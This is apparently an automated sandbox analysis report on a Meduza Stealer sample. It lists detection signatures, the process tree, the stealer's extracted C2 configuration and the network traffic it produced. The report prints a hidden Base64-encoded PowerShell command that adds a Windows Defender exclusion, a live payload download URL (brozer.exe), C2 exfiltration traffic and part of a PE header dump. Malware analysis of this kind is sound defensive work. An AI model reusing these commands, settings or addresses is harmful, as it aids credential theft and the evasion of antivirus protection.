Edit tour

Windows Analysis Report
9RM52QaURq.exe

Overview

General Information

Sample name:	9RM52QaURq.exe renamed because original name is a hash value
Original sample name:	ca53439dbc9699e109a1810227c124dadca4066758511727be95e57b8ce3bc0f.exe
Analysis ID:	1556367
MD5:	9913a016528f9d9c4aac737c6a06c596
SHA1:	197435ebdeab5f6df6e10d1c5aec40812cb9dfdf
SHA256:	ca53439dbc9699e109a1810227c124dadca4066758511727be95e57b8ce3bc0f
Tags:	45-130-145-152exeuser-JAMESWT_MHT
Infos:

Detection

CredGrabber, Meduza Stealer

Score:	93
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected CredGrabber

Yara detected Meduza Stealer

AI detected suspicious sample

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query locales information (e.g. system language)

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Queries time zone information

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Execution of Powershell with Base64

Suricata IDS alerts with low severity for network traffic

Terminates after testing mutex exists (may check infected machine status)

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

9RM52QaURq.exe (PID: 7148 cmdline: "C:\Users\user\Desktop\9RM52QaURq.exe" MD5: 9913A016528F9D9C4AAC737C6A06C596)

powershell.exe (PID: 3164 cmdline: "powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AZQBzAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzADgASABzAHEAdwBIAGwAYgBHAFwAMwBVAHUAeABUAEgANgBGAE0AWAAuAGUAeABlACcA MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 8 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 2640 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

3UuxTH6FMX.exe (PID: 3760 cmdline: "C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe" MD5: 183E24B654414D7BE786CCD8E6A108A5)

cleanup

Malware Configuration

Threatname: Meduza Stealer

{"C2 url": "45.130.145.152", "grabber_max_size": 4194304, "anti_vm": true, "anti_dbg": true, "self_destruct": false, "extensions": ".txt;.doc;.docx;.pdf;.xls;.xlsx;.log;.db;.sqlite", "build_name": "Work", "links": "", "port": 15666}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000008.00000002.2193147052.00000218BFD60000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security
00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security
Process Memory Space: 3UuxTH6FMX.exe PID: 3760	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security
Process Memory Space: 3UuxTH6FMX.exe PID: 3760	JoeSecurity_CredGrabber	Yara detected CredGrabber	Joe Security
Process Memory Space: 3UuxTH6FMX.exe PID: 3760	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.3UuxTH6FMX.exe.218bfb50000.0.unpack	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security
8.2.3UuxTH6FMX.exe.218bfb50000.0.raw.unpack	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AZQBzAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzADgASABzAHEAdwBIAGwAYgBHAFwAMwBVAHUAeABUAEgANgBGAE0AWAAuAGUAeABlACcA, CommandLine: "powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AZQBzAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzADgASABzAHEAdwBIAGwAYgBHAFwAMwBVAHUAeABUAEgANgBGAE0AWAAuAGUAeABlACcA, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\9RM52QaURq.exe", ParentImage: C:\Users\user\Desktop\9RM52QaURq.exe, ParentProcessId: 7148, ParentProcessName: 9RM52QaURq.exe, ProcessCommandLine: "powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AZQBzAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzADgASABzAHEAdwBIAGwAYgBHAFwAMwBVAHUAeABUAEgANgBGAE0AWAAuAGUAeABlACcA, ProcessId: 3164, ProcessName: powershell.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AZQBzAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzADgASABzAHEAdwBIAGwAYgBHAFwAMwBVAHUAeABUAEgANgBGAE0AWAAuAGUAeABlACcA, CommandLine: "powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AZQBzAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzADgASABzAHEAdwBIAGwAYgBHAFwAMwBVAHUAeABUAEgANgBGAE0AWAAuAGUAeABlACcA, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\9RM52QaURq.exe", ParentImage: C:\Users\user\Desktop\9RM52QaURq.exe, ParentProcessId: 7148, ParentProcessName: 9RM52QaURq.exe, ProcessCommandLine: "powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AZQBzAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzADgASABzAHEAdwBIAGwAYgBHAFwAMwBVAHUAeABUAEgANgBGAE0AWAAuAGUAeABlACcA, ProcessId: 3164, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AZQBzAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzADgASABzAHEAdwBIAGwAYgBHAFwAMwBVAHUAeABUAEgANgBGAE0AWAAuAGUAeABlACcA, CommandLine: "powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AZQBzAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzADgASABzAHEAdwBIAGwAYgBHAFwAMwBVAHUAeABUAEgANgBGAE0AWAAuAGUAeABlACcA, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\9RM52QaURq.exe", ParentImage: C:\Users\user\Desktop\9RM52QaURq.exe, ParentProcessId: 7148, ParentProcessName: 9RM52QaURq.exe, ProcessCommandLine: "powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AZQBzAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzADgASABzAHEAdwBIAGwAYgBHAFwAMwBVAHUAeABUAEgANgBGAE0AWAAuAGUAeABlACcA, ProcessId: 3164, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Win32/Unknown Grabber Base64 Data Exfiltration Attempt

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T10:28:51.927747+0100	2049441	1	A Network Trojan was detected	192.168.2.4	53976	45.130.145.152	15666	TCP

ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T10:28:51.927747+0100	2050806	1	A Network Trojan was detected	192.168.2.4	53976	45.130.145.152	15666	TCP
2024-11-15T10:28:51.932774+0100	2050806	1	A Network Trojan was detected	192.168.2.4	53976	45.130.145.152	15666	TCP

ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T10:28:51.927747+0100	2050807	1	A Network Trojan was detected	192.168.2.4	53976	45.130.145.152	15666	TCP
2024-11-15T10:28:51.932774+0100	2050807	1	A Network Trojan was detected	192.168.2.4	53976	45.130.145.152	15666	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 8.2.3UuxTH6FMX.exe.218bfb50000.0.unpack

Malware Configuration Extractor: Meduza Stealer {"C2 url": "45.130.145.152", "grabber_max_size": 4194304, "anti_vm": true, "anti_dbg": true, "self_destruct": false, "extensions": ".txt;.doc;.docx;.pdf;.xls;.xlsx;.log;.db;.sqlite", "build_name": "Work", "links": "", "port": 15666}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

ReversingLabs: Detection: 28%

Multi AV Scanner detection for submitted file

Source: 9RM52QaURq.exe

ReversingLabs: Detection: 18%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 92.6% probability

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBC1EA0 CryptUnprotectData,LocalFree,	8_2_00000218BFBC1EA0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB85EE0 CryptUnprotectData,LocalFree,	8_2_00000218BFB85EE0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBC21C0 CryptProtectData,LocalFree,	8_2_00000218BFBC21C0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFC22090 CryptUnprotectData,	8_2_00000218BFC22090

Source: unknown

HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:53977 version: TLS 1.2

Source: 9RM52QaURq.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\outgl\source\repos\Installer_sharp\obj\Release\Installer_sharp.pdb source: 9RM52QaURq.exe
Source:	Binary string: C:\Users\outgl\source\repos\Installer_sharp\obj\Release\Installer_sharp.pdb8 source: 9RM52QaURq.exe

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFC098C0 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,		8_2_00000218BFC098C0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFC09810 FindClose,FindFirstFileExW,GetLastError,		8_2_00000218BFC09810

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Code function: 8_2_00000218BFBD13B0 GetLogicalDriveStringsW,

8_2_00000218BFBD13B0

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: D:\sources\migration\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: D:\sources\replacementmanifests\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: D:\sources\migration\wtr\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: D:\sources\replacementmanifests\microsoft-activedirectory-webservices\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: D:\sources\replacementmanifests\microsoft-client-license-platform-service-migration\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: D:\sources\replacementmanifests\hwvid-migration-2\	Jump to behavior

Source: C:\Users\user\Desktop\9RM52QaURq.exe

Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h

0_2_07352978

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049441 - Severity 1 - ET MALWARE Win32/Unknown Grabber Base64 Data Exfiltration Attempt : 192.168.2.4:53976 -> 45.130.145.152:15666
Source: Network traffic	Suricata IDS: 2050806 - Severity 1 - ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2 : 192.168.2.4:53976 -> 45.130.145.152:15666

Source: global traffic

TCP traffic: 192.168.2.4:53976 -> 45.130.145.152:15666

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.22.1Date: Fri, 15 Nov 2024 09:28:15 GMTContent-Type: application/octet-streamContent-Length: 2632704Last-Modified: Thu, 14 Nov 2024 19:32:03 GMTConnection: keep-aliveETag: "67365033-282c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 54 97 d1 e9 35 f9 82 e9 35 f9 82 e9 35 f9 82 f9 b1 fa 83 e1 35 f9 82 f9 b1 fd 83 e6 35 f9 82 f9 b1 fc 83 ba 35 f9 82 a2 4d fc 83 48 35 f9 82 a2 4d fa 83 ee 35 f9 82 a2 4d fd 83 fa 35 f9 82 d1 b5 fc 83 eb 35 f9 82 a1 b0 fd 83 cd 35 f9 82 a2 4d f8 83 e2 35 f9 82 e9 35 f8 82 68 35 f9 82 a2 b0 f0 83 fa 35 f9 82 a2 b0 06 82 e8 35 f9 82 a2 b0 fb 83 e8 35 f9 82 52 69 63 68 e9 35 f9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 e8 4f 34 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 29 00 6a 03 00 00 d6 24 00 00 00 00 00 f0 d0 02 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 28 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 e6 27 00 64 00 00 00 00 60 28 00 e0 01 00 00 00 30 28 00 70 2c 00 00 00 00 00 00 00 00 00 00 00 70 28 00 50 09 00 00 00 96 27 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 94 27 00 40 01 00 00 00 00 00 00 00 00 00 00 00 80 03 00 08 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e4 68 03 00 00 10 00 00 00 6a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 de 70 24 00 00 80 03 00 00 72 24 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 cc 28 00 00 00 00 28 00 00 12 00 00 00 e0 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 70 2c 00 00 00 30 28 00 00 2e 00 00 00 f2 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 e0 01 00 00 00 60 28 00 00 02 00 00 00 20 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 50 09 00 00 00 70 28 00 00 0a 00 00 00 22 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: text/html; text/plain; /Host: api.ipify.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /brozer.exe HTTP/1.1Host: 150.241.95.163Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 45.130.145.152 45.130.145.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152

Source: Joe Sandbox View

ASN Name: ASBAXETNRU ASBAXETNRU

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic

Suricata IDS: 2050807 - Severity 1 - ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP) : 192.168.2.4:53976 -> 45.130.145.152:15666

Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163
Source: unknown	TCP traffic detected without corresponding DNS query: 150.241.95.163

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Code function: 8_2_00000218BFBCE9F0 recv,recv,closesocket,WSACleanup,

8_2_00000218BFBCE9F0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: text/html; text/plain; /Host: api.ipify.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /brozer.exe HTTP/1.1Host: 150.241.95.163Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: api.ipify.org

Source: 9RM52QaURq.exe, 00000000.00000002.2134382653.0000000002B06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://150.241.95.163
Source: 9RM52QaURq.exe, 00000000.00000002.2134382653.0000000002A71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://150.241.95.163/brozer.exe
Source: 9RM52QaURq.exe	String found in binary or memory: http://150.241.95.163/brozer.exeIError
Source: 9RM52QaURq.exe, 00000000.00000002.2134382653.0000000002A71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://150.241.95.163/brozer.exeP
Source: 3UuxTH6FMX.exe, 00000008.00000003.2097190041.00000218C0FD1000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2191984698.00000218C0FE0000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2192078543.00000218C0FE4000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2191951086.00000218C0FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.microsoft.t/Regi
Source: powershell.exe, 00000005.00000002.1981163512.0000000006008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.1978076132.00000000050F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.1978076132.00000000051DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 9RM52QaURq.exe, 00000000.00000002.2134382653.0000000002B06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1978076132.0000000004FA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.1978076132.00000000051DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000005.00000002.1978076132.00000000050F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: 9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
